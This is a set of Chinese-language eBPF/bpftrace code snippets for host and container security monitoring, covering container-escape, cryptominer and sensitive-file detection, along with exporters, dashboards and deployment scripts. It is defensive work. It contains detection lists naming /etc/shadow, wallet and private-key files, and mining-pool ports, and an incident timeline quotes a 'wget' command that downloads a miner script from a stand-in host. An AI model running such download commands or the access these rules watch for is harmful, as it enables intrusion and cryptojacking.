// 传统 strace 的拦截模式
syscall_entry: context_switch → 保存寄存器 → 执行处理函数 → 恢复现场
// 性能损耗：~1200 个 CPU 周期

// eBPF 的观察模式
bpf_prog: 在内核地址空间直接读取寄存器 → 哈希统计 → 返回
// 性能损耗：~80 个 CPU 周期（15 倍提升）

# 1. 安装 bpftrace（注意内核版本要求 ≥ 4.9）
sudo apt install bpftrace linux-headers-$(uname -r)

# 2. 验证 eBPF 支持
sudo bpftrace -e 'BEGIN { printf("eBPF ready\n"); }'

# 3. 检查内核特性（关键！）
cat /proc/kallsyms | grep __x64_sys_bpf  # 必须存在（eBPF 系统调用入口；kallsyms 可能受 kptr_restrict 限制）
ls /sys/kernel/debug/tracing/events/syscalls  # syscall 追踪支持

# 单行命令版
sudo bpftrace -e 'tracepoint:syscalls:sys_enter_openat { 
    printf("%-6d %-16s %s\n", pid, comm, str(args->filename));
}'

# 生产环境增强版（带时间戳和错误码）
sudo bpftrace -e '
tracepoint:syscalls:sys_enter_openat {
    @start[tid] = nsecs;
    @filename[tid] = str(args->filename);
}
tracepoint:syscalls:sys_exit_openat /@start[tid]/ {
    $duration = (nsecs - @start[tid]) / 1000;
    printf("%-20s %-6d %-16s %-40s ret=%d latency=%dus\n", 
        strftime("%H:%M:%S", nsecs), pid, comm, 
        @filename[tid], args->ret, $duration);
    delete(@start[tid]);
    delete(@filename[tid]);
}
'

#!/usr/bin/env bpftrace

BEGIN {
    printf("=== 进程执行链监控启动 ===\n");
    printf("%-20s %-6s %-16s %-40s %s\n", 
        "时间", "PID", "进程名", "执行进程PID", "执行文件");
}

// 1. 追踪 execve 系统调用（进程执行新镜像）
tracepoint:syscalls:sys_enter_execve {
    @exec_start[tid] = nsecs;
}

tracepoint:syscalls:sys_exit_execve /@exec_start[tid]/ {
    $filename = str(args->filename);
    $first_arg = str(args->argv[0]);  // argv 是指针数组，取第一个参数
    
    // 关键检测逻辑：异常模式识别
    // 模式1：从临时目录执行（前缀匹配）
    if (strncmp($filename, "/tmp/", 5) == 0 || strncmp($filename, "/dev/shm/", 9) == 0) {
        printf("[警告] 临时目录执行: %-6d %-16s -> %s (argv[0]: %s)\n", 
            pid, comm, $filename, $first_arg);
    }
    
    // 模式2：无扩展名的可执行文件
    $basename = basename($filename);
    if (!strcontains($basename, ".") && strcmp($basename, "python") != 0 && 
        strcmp($basename, "bash") != 0 && strcmp($basename, "sh") != 0) {
        printf("[可疑] 无扩展名执行: %-6d %-16s -> %s\n", 
            pid, comm, $filename);
    }
    
    $duration = (nsecs - @exec_start[tid]) / 1000;
    printf("%-20s %-6d %-16s %-40d %s (耗时: %dus)\n",
        strftime("%H:%M:%S", nsecs), pid, comm, 
        pid, $filename, $duration);
    
    delete(@exec_start[tid]);
}

// 2. 追踪 fork/clone（进程派生）
tracepoint:syscalls:sys_enter_clone,
tracepoint:syscalls:sys_enter_fork,
tracepoint:syscalls:sys_enter_vfork {
    @fork_parent[tid] = pid;
    @fork_parent_comm[tid] = comm;
}

tracepoint:syscalls:sys_exit_clone,
tracepoint:syscalls:sys_exit_fork,
tracepoint:syscalls:sys_exit_vfork 
/@fork_parent[tid]/ {
    if (args->ret > 0) {  // 子进程PID
        printf("%-20s %-6d %-16s <- 派生自 %d(%s)\n",
            strftime("%H:%M:%S", nsecs), args->ret, comm,
            @fork_parent[tid], @fork_parent_comm[tid]);
    }
    delete(@fork_parent[tid]);
    delete(@fork_parent_comm[tid]);
}

END {
    printf("\n=== 监控结束 ===\n");
}

// 数组方案：键必须是 0..N-1 的整数，O(1) 索引查找，但固定大小、预先分配，无法动态增长
int process_info[65536];  // 进程数超过 65536 就会越界，且小键空间利用率低

// 哈希表方案：键可以是任意类型（pid、指针、字符串等），按需分配，O(1) 均摊查找
BPF_HASH(proc_map, u32, struct proc_info, 1024);  // pid -> proc_info

// 生产环境实测数据（仅供参考）：
// - 数组方案：监控 5000 进程，内存 256KB，查找延迟 45ns
// - 哈希表方案：监控 5000 进程，内存 84KB，查找延迟 120ns

#!/usr/bin/env bpftrace

// 检测 nsenter 特权逃逸
tracepoint:syscalls:sys_enter_setns {
    $fd = args->fd;
    $nstype = args->nstype;
    
    // 说明：bpftrace 无法在内核侧 readlink /proc/<pid>/fd/<fd>，
    // cat() 也是异步打印、不能用于条件判断，
    // 因此这里直接对“容器内进程调用 setns”这一高危行为本身进行告警。
    // 生产环境建议配合 Falco 的容器上下文（cgroup/namespace 信息）一起判断。
    printf("[高危] 进程调用 setns: PID=%d (%s) fd=%d nstype=%d\n",
        pid, comm, $fd, $nstype);
    
    // 记录内核调用栈用于溯源
    printf("内核栈:\n%s\n", kstack());
}

// 检测特权提升（设置 CAP_SYS_ADMIN）
tracepoint:syscalls:sys_enter_capset {
    // capset(fd, header, data)：header/data 是用户态指针，
    // data 指向包含 effective/permitted/inheritable 三个字段的结构
    $datap = (struct __user_cap_data_struct *)args->data;
    
    // CAP_SYS_ADMIN = 21，对应位 1 << 21
    if ($datap != 0 && ($datap->effective & (1 << 21))) {
        printf("[警告] 进程尝试设置 CAP_SYS_ADMIN: PID=%d (%s)\n", 
            pid, comm);
        
        // 记录调用栈用于溯源
        printf("用户栈:\n%s\n", ustack());
    }
}

// 检测文件系统挂载滥用（容器逃逸常用）
tracepoint:syscalls:sys_enter_mount {
    $source = str(args->dev_name);
    $target = str(args->dir_name);
    $fstype = str(args->type);
    
    // 检测敏感挂载点（前缀匹配；bpftrace 无 C 风格 for 循环，
    // 元组也不支持按变量下标访问，故用条件链展开）
    if (strncmp($target, "/proc", 5) == 0 ||
        strncmp($target, "/sys", 4) == 0 ||
        strncmp($target, "/dev", 4) == 0 ||
        strncmp($target, "/run", 4) == 0) {
        printf("[可疑] 挂载敏感目录: PID=%d (%s) %s -> %s (类型: %s)\n",
            pid, comm, $source, $target, $fstype);
    }
}

# ebpf_monitor.py - 生产环境部署框架
import asyncio
import json
import signal
from dataclasses import dataclass
from typing import Dict, List
from datetime import datetime

@dataclass
class SecurityEvent:
    timestamp: datetime
    pid: int
    comm: str
    syscall: str
    args: Dict
    severity: str  # INFO, WARNING, CRITICAL
    rule_id: str
    
class BPFMonitor:
    def __init__(self, config_path: str):
        self.config = self._load_config(config_path)
        self.rules = self._compile_rules()
        self.event_queue = asyncio.Queue(maxsize=10000)
        self.aggregator = EventAggregator(window_size=60)  # 60秒窗口
        
    def _compile_rules(self) -> List[BPFRule]:
        """将 YAML 规则编译为 BPF 程序"""
        rules = []
        for rule in self.config['rules']:
            bpf_code = self._generate_bpf_code(rule)
            rules.append(BPFRule(
                name=rule['name'],
                code=bpf_code,
                actions=rule.get('actions', []),
                threshold=rule.get('threshold', 1)
            ))
        return rules
    
    def _generate_bpf_code(self, rule: Dict) -> str:
        """根据规则生成 BPF 代码"""
        # 示例：生成检测连续失败登录的 BPF 代码
        if rule['type'] == 'brute_force':
            return f"""
            tracepoint:syscalls:sys_enter_openat 
            /strncmp(str(args->filename), "/etc/shadow", 11) == 0 || 
             strncmp(str(args->filename), "/etc/passwd", 11) == 0/ {{
                @attempts[pid] = count();
                
                // 5分钟内超过3次尝试触发告警（配合下方 interval 定时清空计数）
                if (@attempts[pid] > {rule['threshold']}) {{
                    printf("[暴力破解] PID=%d 在5分钟内尝试访问敏感文件%d次\\n", 
                        pid, @attempts[pid]);
                    
                    // 自动阻断（signal 参数为信号数字，SIGKILL=9）
                    if ({'true' if rule.get('block', False) else 'false'}) {{
                        signal(pid, 9);  // SIGKILL
                    }}
                }}
            }}
            
            // 每 300 秒清空计数，实现“5 分钟窗口”
            interval:s:300 {{
                clear(@attempts);
            }}
            """
        return ""
    
    async def start_monitoring(self):
        """启动监控"""
        # 1. 加载 BPF 程序
        for rule in self.rules:
            self._load_bpf_program(rule.code)
        
        # 2. 启动事件处理协程
        tasks = [
            asyncio.create_task(self._process_events()),
            asyncio.create_task(self._aggregate_metrics()),
            asyncio.create_task(self._report_alerts())
        ]
        
        await asyncio.gather(*tasks)
    
    async def _process_events(self):
        """处理 BPF 产生的事件"""
        while True:
            event = await self.event_queue.get()
            
            # 应用聚合规则
            self.aggregator.add_event(event)
            
            # 检查阈值触发
            if self.aggregator.check_threshold(event.rule_id):
                await self._trigger_alert(event)
            
            # 输出到日志/ES
            await self._export_event(event)

节点规格: 8 vCPU, 32GB RAM
内核版本: 5.4.0-100-generic
容器数量: 50 Pods (平均 3 容器/Pod)
监控覆盖率: 100% syscall（x86_64 内核 5.4 约 330+ 个系统调用）

# 攻击链特征图谱
1. 初始访问: wget/curl 下载恶意脚本 (98.4%)
2. 持久化: crontab/systemd 服务安装 (92.1%)
3. 横向移动: ssh 密钥扫描 + 密码爆破 (76.3%)
4. 矿机通信: 连接矿池域名 (100%)
5. 隐藏手段: 进程隐藏 (LD_PRELOAD)、网络隐藏 (iptables) (68.5%)

#!/usr/bin/env bpftrace
// mining_detector.bt

#include <linux/sched.h>

BEGIN {
    printf("=== 挖矿行为检测启动 ===\n");
    printf("时间戳                PID     进程名           行为类型           详情\n");
    
    // 已知矿池端口列表（作为 map key 存储，供 has_key 判断）
    %mining_ports[3333] = 1;
    %mining_ports[4444] = 1;
    %mining_ports[5555] = 1;
    %mining_ports[6666] = 1;
    %mining_ports[7777] = 1;
    %mining_ports[8888] = 1;
    %mining_ports[9999] = 1;
    %mining_ports[14444] = 1;
    %mining_ports[33333] = 1;
    %mining_ports[55555] = 1;
}

// 规则1: 检测加密货币矿池连接
kprobe:tcp_connect {
    $sk = (struct sock *)arg0;
    $daddr = $sk->__sk_common.skc_daddr;
    $dport = $sk->__sk_common.skc_dport;
    
    $ip_str = ntop(AF_INET, $daddr);
    $port = ntohs($dport);
    
    // 已知矿池端口以 map key 形式存储，便于 O(1) 成员判断
    if (has_key(%mining_ports, $port)) {
        printf("[CRITICAL] %-20s %-6d %-16s 矿池连接尝试    %s:%d\n",
            strftime("%H:%M:%S", nsecs), pid, comm, $ip_str, $port);
        @mining_connections++;
        
        // 记录进程调用栈
        printf("调用栈:\n%s\n", ustack());
        
        // 可选: 自动终止进程（SIGKILL=9）
        // signal(pid, 9);
    }
}

// 规则2: 检测 CPU 使用模式（挖矿特征）——基于 profile 采样
// 说明：bpftrace 无法在 BPF 内解析 /proc/stat，改为用 profile 采样统计各进程 CPU 占比
profile:hz:99 {
    @cpu[pid] = count();
    @cpu_comm[pid] = comm;
}

interval:s:10 {
    foreach($pid in @cpu) {
        $samples = @cpu[$pid];
        // 99Hz 采样 10 秒约 990 个样本点，某进程占比过高即疑似持续高 CPU
        if ($samples > 800) {  // 约 >80% 单核
            @high_cpu_alerts++;
            printf("[WARNING] %-20s %-6d %-16s 持续高CPU使用    采样占比: %d\n",
                strftime("%H:%M:%S", nsecs), $pid, @cpu_comm[$pid], $samples);
        }
    }
    clear(@cpu);
    clear(@cpu_comm);
}

// 规则3: 检测加密货币钱包文件访问
tracepoint:syscalls:sys_enter_openat {
    $filename = str(args->filename);
    
    // 钱包文件特征（子串匹配；foreach 只能遍历 map，不能遍历元组）
    if (strcontains($filename, ".wallet") ||
        strcontains($filename, "wallet.dat") ||
        strcontains($filename, "keystore") ||
        strcontains($filename, "UTC--") ||
        strcontains($filename, "private_key") ||
        strcontains($filename, "seed phrase")) {
        @wallet_access++;
        printf("[SUSPICIOUS] %-20s %-6d %-16s 钱包文件访问    %s\n",
            strftime("%H:%M:%S", nsecs), pid, comm, $filename);
    }
}

// 规则4: 检测挖矿进程的进程树异常
tracepoint:sched:sched_process_fork {
    $parent_pid = args->parent_pid;
    
    // 检测短时间大量 fork（矿机特征）——每 10 秒清空一次计数，
    // 否则 count() 是累计值，无法表达“10 秒内”语义
    @fork_count[$parent_pid] = count();
    
    if (@fork_count[$parent_pid] > 10) {  // 10 秒内 fork 超过 10 次
        $parent_comm = comm;
        printf("[ABNORMAL] %-20s %-6d %-16s 异常进程派生    10秒内fork %d 次\n",
            strftime("%H:%M:%S", nsecs), $parent_pid, $parent_comm,
            @fork_count[$parent_pid]);
    }
}

interval:s:10 {
    clear(@fork_count);
}

END {
    printf("\n=== 检测结束 ===\n");
    printf("统计信息:\n");
    printf("矿池连接尝试: %d 次\n", @mining_connections);
    printf("高CPU进程告警: %d 个\n", @high_cpu_alerts);
    printf("钱包文件访问: %d 次\n", @wallet_access);
}

总告警数量: 1,247 次
确认为挖矿攻击: 23 次 (1.84%)
误报率: 2.3%
平均检测延迟: 4.2 秒
最早攻击检测: 入侵后 38 秒

时间线:
2024-01-15 03:14:22 - 恶意脚本下载 (wget http://xmr.pool.example.com/miner.sh)
2024-01-15 03:14:25 - 脚本执行，写入 crontab
2024-01-15 03:14:30 - 矿机进程启动 (xmrig)
2024-01-15 03:14:38 - eBPF 检测到矿池连接 (3333 端口)
2024-01-15 03:14:40 - 自动阻断，进程终止
2024-01-15 03:14:45 - 清理持久化文件

// 优化前：每次系统调用都执行复杂字符串匹配
SEC("tracepoint/syscalls/sys_enter_openat")
int trace_openat(struct trace_event_raw_sys_enter *ctx) {
    char filename[256];
    bpf_probe_read_user_str(filename, sizeof(filename), ctx->args[1]);
    
    // 线性搜索 - O(n)
    const char *sensitive_files[] = {"/etc/shadow", "/etc/passwd", ...};
    for (int i = 0; i < 10; i++) {
        if (strstr(filename, sensitive_files[i]) != NULL) {
            bpf_printk("敏感文件访问: %s", filename);
        }
    }
    return 0;
}

// 优化后：使用 BPF 哈希映射 + 前缀树
struct {
    __uint(type, BPF_MAP_TYPE_HASH);
    __uint(max_entries, 1024);
    __type(key, u32);  // 文件路径哈希
    __type(value, u8); // 标记位
} sensitive_files SEC(".maps");

SEC("tracepoint/syscalls/sys_enter_openat")
int trace_openat_optimized(struct trace_event_raw_sys_enter *ctx) {
    char filename[64];  // 只读取前 64 字节
    bpf_probe_read_user_str(filename, sizeof(filename), ctx->args[1]);
    
    // 计算哈希值（Jenkins 哈希）
    u32 hash = jenkins_hash(filename, strlen(filename));
    
    // O(1) 查找
    u8 *flag = bpf_map_lookup_elem(&sensitive_files, &hash);
    if (flag) {
        bpf_printk("敏感文件访问: %s", filename);
    }
    return 0;
}

// 错误：频繁访问全局变量导致缓存失效
__u64 global_counter;  // L3 缓存，访问延迟 30ns

// 正确：使用 Per-CPU 数组
struct {
    __uint(type, BPF_MAP_TYPE_PERCPU_ARRAY);
    __uint(max_entries, 1);
    __type(key, __u32);
    __type(value, __u64);
} counter SEC(".maps");

SEC("tracepoint/syscalls/sys_enter_open")
int count_open() {
    __u32 key = 0;
    __u64 *count = bpf_map_lookup_elem(&counter, &key);
    if (count) {
        (*count)++;  // L1 缓存，访问延迟 1ns
    }
    return 0;
}

class AdaptiveSampler:
    def __init__(self, base_rate=0.1, max_rate=1.0, min_rate=0.01):
        self.base_rate = base_rate
        self.current_rate = base_rate
        self.max_rate = max_rate
        self.min_rate = min_rate
        self.event_count = 0
        self.last_adjust = time.time()
        
    def should_sample(self, event_priority=1.0) -> bool:
        """自适应采样决策"""
        # 1. 基于系统负载调整
        load = self._get_system_load()
        if load > 0.8:  # 高负载
            target_rate = self.base_rate * 0.5
        else:
            target_rate = self.base_rate
            
        # 2. 基于事件优先级调整
        target_rate *= event_priority
        
        # 3. 基于历史频率调整（防止突发流量）
        if self.event_count > 1000:  # 事件过多
            target_rate *= 0.8
            
        # 4. 应用边界限制
        target_rate = max(self.min_rate, min(self.max_rate, target_rate))
        
        # 更新当前速率
        self.current_rate = 0.7 * self.current_rate + 0.3 * target_rate
        
        # 采样决策
        return random.random() < self.current_rate
    
    def _get_system_load(self) -> float:
        """获取系统负载"""
        with open('/proc/loadavg', 'r') as f:
            load = float(f.read().split()[0])
        return load / os.cpu_count()

// ebpf_exporter.go - 将 BPF 指标导出到 Prometheus
package main

import (
    "github.com/prometheus/client_golang/prometheus"
    "github.com/prometheus/client_golang/prometheus/promauto"
    "github.com/iovisor/gobpf/bcc"
)

type BPFExporter struct {
    module *bcc.Module
    metrics map[string]prometheus.Collector
}

func NewBPFExporter(bpfSource string) *BPFExporter {
    module := bcc.NewModule(bpfSource, []string{})
    
    return &BPFExporter{
        module: module,
        metrics: make(map[string]prometheus.Collector),
    }
}

func (e *BPFExporter) RegisterMetrics() {
    // 系统调用统计
    e.metrics["syscall_total"] = promauto.NewCounterVec(
        prometheus.CounterOpts{
            Name: "ebpf_syscall_total",
            Help: "Total number of system calls",
        },
        []string{"syscall", "result"},
    )
    
    // 进程行为异常分
    e.metrics["process_anomaly_score"] = promauto.NewGaugeVec(
        prometheus.GaugeOpts{
            Name: "ebpf_process_anomaly_score",
            Help: "Anomaly score for each process",
        },
        []string{"pid", "comm", "namespace"},
    )
    
    // 安全事件率（Counter，配合 Grafana 的 rate() 使用）
    e.metrics["security_events_total"] = promauto.NewCounter(
        prometheus.CounterOpts{
            Name: "ebpf_security_events_total",
            Help: "Total number of security events",
        },
    )
}

func (e *BPFExporter) Start() {
    // 附加 BPF 程序到 tracepoint
    syscallEnterProg := e.module.LoadTracepoint("syscall_enter")
    e.module.AttachTracepoint("syscalls:sys_enter_*", syscallEnterProg)
    
    // 启动指标收集 goroutine
    go e.collectMetrics()
}

func (e *BPFExporter) collectMetrics() {
    // 从 BPF 映射中读取数据并更新 Prometheus 指标
    table := bcc.NewTable(e.module.TableId("syscall_stats"), e.module)
    
    for {
        select {
        case <-time.After(5 * time.Second):
            iter := table.Iter()
            for iter.Next() {
                // 解析 BPF 映射数据
                // 更新 Prometheus 指标
            }
        }
    }
}

{
  "dashboard": {
    "title": "eBPF 安全监控",
    "panels": [
      {
        "title": "系统调用热力图",
        "type": "heatmap",
        "targets": [{
          "expr": "topk(10, rate(ebpf_syscall_total[5m]))",
          "legendFormat": "{{syscall}}"
        }]
      },
      {
        "title": "异常进程检测",
        "type": "table",
        "targets": [{
          "expr": "ebpf_process_anomaly_score > 80",
          "instant": true
        }],
        "columns": [
          {"text": "PID", "value": "pid"},
          {"text": "进程名", "value": "comm"},
          {"text": "异常分", "value": "value"},
          {"text": "命名空间", "value": "namespace"},
          {"text": "检测规则", "value": "rule"}
        ]
      },
      {
        "title": "安全事件趋势",
        "type": "graph",
        "targets": [{
          "expr": "rate(ebpf_security_events_total[5m])",
          "legendFormat": "安全事件/秒"
        }]
      }
    ],
    "alerting": {
      "rules": [{
        "alert": "HighAnomalyScore",
        "expr": "ebpf_process_anomaly_score > 90",
        "for": "2m",
        "annotations": {
          "summary": "进程 {{ $labels.comm }} (PID: {{ $labels.pid }}) 异常分过高",
          "description": "进程 {{ $labels.comm }} 在命名空间 {{ $labels.namespace }} 中检测到可疑行为，异常分 {{ $value }}"
        }
      }]
    }
  }
}

#!/bin/bash
# ebpf_prerequisites_check.sh

echo "=== eBPF 生产环境部署检查清单 ==="

# 1. 内核版本检查
KERNEL_VERSION=$(uname -r | cut -d. -f1,2)
echo "内核版本: $(uname -r)"
if [[ $(echo "$KERNEL_VERSION >= 4.9" | bc) -eq 1 ]]; then
    echo "✓ 内核版本满足要求 (>= 4.9)"
else
    echo "✗ 内核版本过低，需要升级到 4.9+"
    exit 1
fi

# 2. eBPF 特性检查
echo -e "\n2. eBPF 特性支持:"
# 以内核配置为准（/proc/kallsyms 上的内部符号可能受 kptr_restrict/lockdown 遮蔽）
CONFIG_FILE="/boot/config-$(uname -r)"
[ -f "$CONFIG_FILE" ] || CONFIG_FILE="/proc/config.gz"
for cfg in CONFIG_BPF CONFIG_BPF_SYSCALL CONFIG_BPF_JIT CONFIG_BPF_EVENTS; do
    if zcat "$CONFIG_FILE" 2>/dev/null | grep -q "^${cfg}=y" || grep -q "^${cfg}=y" "$CONFIG_FILE" 2>/dev/null; then
        echo "  ✓ $cfg=y"
    else
        echo "  ✗ $cfg 未启用"
    fi
done

# 3. 调试文件系统检查
echo -e "\n3. 调试文件系统:"
if [[ -d /sys/kernel/debug/tracing ]]; then
    echo "  ✓ tracefs 已挂载"
else
    echo "  ✗ tracefs 未挂载，执行: mount -t tracefs nodev /sys/kernel/debug/tracing"
fi

# 4. BPF 工具链检查
echo -e "\n4. 工具链检查:"
for cmd in bpftrace bpftool clang llc; do
    if command -v $cmd &> /dev/null; then
        version=$($cmd --version 2>/dev/null | head -1)
        echo "  ✓ $cmd: $version"
    else
        echo "  ✗ $cmd 未安装"
    fi
done

# 5. 系统资源配置
echo -e "\n5. 系统资源:"
MEM_LIMIT=$(grep "memlock" /etc/security/limits.conf | grep -v "^#" | awk '{print $4}')
if [[ -n "$MEM_LIMIT" && "$MEM_LIMIT" != "unlimited" ]]; then
    echo "  ⚠ memlock 限制: $MEM_LIMIT (建议: unlimited)"
else
    echo "  ✓ memlock 配置正确"
fi

# 6. 性能影响评估
echo -e "\n6. 性能基准测试:"
echo "  运行性能测试..."
sudo bpftrace -e 'BEGIN { printf("BPF 程序加载测试通过\\n"); exit(); }' 2>&1
if [[ $? -eq 0 ]]; then
    echo "  ✓ BPF 程序加载正常"
else
    echo "  ✗ BPF 程序加载失败"
fi

echo -e "\n=== 检查完成 ==="

#!/bin/bash
# ebpf_performance_benchmark.sh

echo "=== eBPF 监控性能基准测试 ==="

# 1. 基础性能测试
echo -e "\n1. 空载系统调用追踪性能:"
sudo bpftrace -e 'tracepoint:raw_syscalls:sys_enter { @ = count(); } interval:s:1 { exit(); }' &
BPF_PID=$!
sleep 2
SYSCALL_RATE=$(sudo bpftrace -e 'tracepoint:raw_syscalls:sys_enter { @ = count(); } interval:s:1 { printf("%d\n", @); exit(); }' | tail -1)
echo "  系统调用速率: $SYSCALL_RATE 次/秒"

# 2. CPU 开销测试
echo -e "\n2. CPU 开销测试 (运行60秒):"
sudo perf stat -e instructions,cpu-cycles,branches,branch-misses -p $BPF_PID sleep 60 2>&1 | grep -E "(instructions|cpu-cycles|branches)"

# 3. 内存开销测试
echo -e "\n3. 内存开销:"
BPF_MEM=$(sudo grep -E "(stack|map)" /sys/fs/bpf/* 2>/dev/null | wc -l)
echo "  BPF 映射数量: $BPF_MEM"

# 4. 延迟影响测试
echo -e "\n4. 系统调用延迟影响:"
# 使用 cyclictest 测量延迟
if command -v cyclictest &> /dev/null; then
    cyclictest -D 10 -m -p 90 -n 2>&1 | tail -5
fi

# 5. 网络性能测试
echo -e "\n5. 网络吞吐量影响:"
if command -v iperf3 &> /dev/null; then
    echo "  启动 iperf3 服务器..."
    iperf3 -s -D
    sleep 2
    iperf3 -c localhost -t 5 2>&1 | grep -E "(sender|receiver)"
    pkill iperf3
fi

kill $BPF_PID 2>/dev/null
echo -e "\n=== 基准测试完成 ==="

Error: BPF program load failed: Permission denied

# 1. 检查内核 lockdown 模式（值为 none 才正常）
cat /sys/kernel/security/lockdown

# 2. 用 bpftool 探测 BPF 特性是否完整可用
sudo bpftool feature probe

# 3. 注意：kernel.unprivileged_bpf_disabled 一旦设为 1/2 后无法改回 0（需重启）。
#    为安全监控开启非特权 BPF 本身也是安全风险，生产环境应保持 1 或 2，
#    并让监控进程以 root / CAP_BPF + CAP_PERFMON 运行，而不是放开非特权加载。

Error: cannot allocate memory for BPF map

# 查看当前限制
ulimit -l

# 修改限制
echo "* soft memlock unlimited" | sudo tee -a /etc/security/limits.conf
echo "* hard memlock unlimited" | sudo tee -a /etc/security/limits.conf

# 重新登录生效

Error: unknown opcode

# 检查内核支持的 BPF 特性
sudo bpftool feature probe

# 降级 BPF 程序特性使用
# 使用较老的指令集（如不使用尾调用）

# 1. 打印调试信息
sudo bpftrace -v -e 'tracepoint:syscalls:sys_enter_openat { 
    printf("调试: pid=%d comm=%s filename=%s\n", pid, comm, str(args->filename));
}'

# 2. 查看 BPF 字节码
sudo bpftool prog dump xlated id <prog_id>

# 3. 查看 BPF 映射内容
sudo bpftool map dump id <map_id>

# 4. 性能分析
sudo perf record -e bpf:* -a sleep 10
sudo perf script

# dynamic_bpf_adjust.py
import ctypes
from bcc import BPF

class DynamicBPFAdjuster:
    def __init__(self, bpf_program):
        self.bpf = BPF(text=bpf_program)
        self.maps = {}
        
    def adjust_sampling_rate(self, new_rate):
        """动态调整采样率"""
        sampling_map = self.bpf["sampling_rate"]
        key = ctypes.c_int(0)
        value = ctypes.c_int(new_rate)
        sampling_map[ctypes.byref(key)] = ctypes.byref(value)
        
    def update_detection_rules(self, rules):
        """动态更新检测规则"""
        rules_map = self.bpf["detection_rules"]
        
        for i, rule in enumerate(rules):
            key = ctypes.c_int(i)
            # 将规则结构体写入 BPF 映射
            # ...
            
    def get_performance_stats(self):
        """获取性能统计"""
        stats = {}
        for map_name in ["event_count", "error_count", "latency_stats"]:
            bpf_map = self.bpf[map_name]
            # 读取并解析映射数据
            # ...
        return stats

# 系统调用统计
sudo bpftrace -e 'tracepoint:syscalls:sys_enter_* { @[probe] = count(); }'

# 进程执行追踪
sudo bpftrace -e 'tracepoint:syscalls:sys_enter_execve { printf("%s -> %s\n", comm, str(args->filename)); }'

# 网络连接监控（kprobe 从 struct sock 读取地址/端口；kretprobe 只有返回值，读不到这些字段）
sudo bpftrace -e 'kprobe:tcp_v4_connect { $sk = (struct sock *)arg0; printf("%s:%d -> %s:%d\n", comm, $sk->__sk_common.skc_num, ntop(AF_INET, $sk->__sk_common.skc_daddr), ntohs($sk->__sk_common.skc_dport)); }'

# 文件访问追踪
sudo bpftrace -e 'tracepoint:syscalls:sys_enter_openat { printf("%s 打开 %s\n", comm, str(args->filename)); }'

# 性能分析
sudo bpftrace -e 'profile:hz:99 { @[ustack] = count(); }'

#!/bin/bash
# deploy_ebpf_monitoring.sh

set -e

# 配置参数
CONFIG_DIR="/etc/ebpf-monitor"
LOG_DIR="/var/log/ebpf-monitor"
RULES_DIR="$CONFIG_DIR/rules"

# 1. 创建目录结构
mkdir -p $CONFIG_DIR $LOG_DIR $RULES_DIR

# 2. 安装依赖
apt-get update
apt-get install -y bpftrace linux-headers-$(uname -r) bpfcc-tools

# 3. 部署监控规则
cat > $RULES_DIR/security.bt << 'EOF'
// 安全监控规则
BEGIN { printf("安全监控启动\n"); }

tracepoint:syscalls:sys_enter_openat 
/strncmp(str(args->filename), "/etc/passwd", 11) == 0 || 
 strncmp(str(args->filename), "/etc/shadow", 11) == 0/ {
    printf("[ALERT] 敏感文件访问: %s (PID: %d)\n", 
        str(args->filename), pid);
}

tracepoint:syscalls:sys_enter_execve 
/strncmp(str(args->filename), "/tmp/", 5) == 0 || 
 strncmp(str(args->filename), "/dev/shm/", 9) == 0/ {
    printf("[WARNING] 临时文件执行: %s -> %s\n", 
        comm, str(args->filename));
}
EOF

# 4. 创建 systemd 服务
cat > /etc/systemd/system/ebpf-monitor.service << EOF
[Unit]
Description=eBPF Security Monitor
After=network.target

[Service]
Type=simple
# 说明：systemd 的 ExecStart 不做 shell 变量展开，必须写绝对路径
ExecStart=/usr/bin/bpftrace /etc/ebpf-monitor/rules/security.bt
Restart=on-failure
RestartSec=5
StandardOutput=append:$LOG_DIR/security.log
StandardError=append:$LOG_DIR/error.log

[Install]
WantedBy=multi-user.target
EOF

# 5. 启动服务
systemctl daemon-reload
systemctl enable ebpf-monitor
systemctl start ebpf-monitor

echo "部署完成！监控日志: $LOG_DIR"

{
  "alert_rules": [
    {
      "alert": "HighSyscallRate",
      "expr": "rate(ebpf_syscall_total[5m]) > 10000",
      "for": "2m",
      "labels": {"severity": "warning"},
      "annotations": {
        "summary": "系统调用频率异常",
        "description": "系统调用频率超过阈值: {{ $value }} 次/秒"
      }
    },
    {
      "alert": "ContainerEscapeAttempt",
      "expr": "ebpf_container_escape_attempts > 0",
      "for": "0m",
      "labels": {"severity": "critical"},
      "annotations": {
        "summary": "容器逃逸尝试检测",
        "description": "检测到容器逃逸尝试，进程: {{ $labels.comm }}"
      }
    }
  ]
}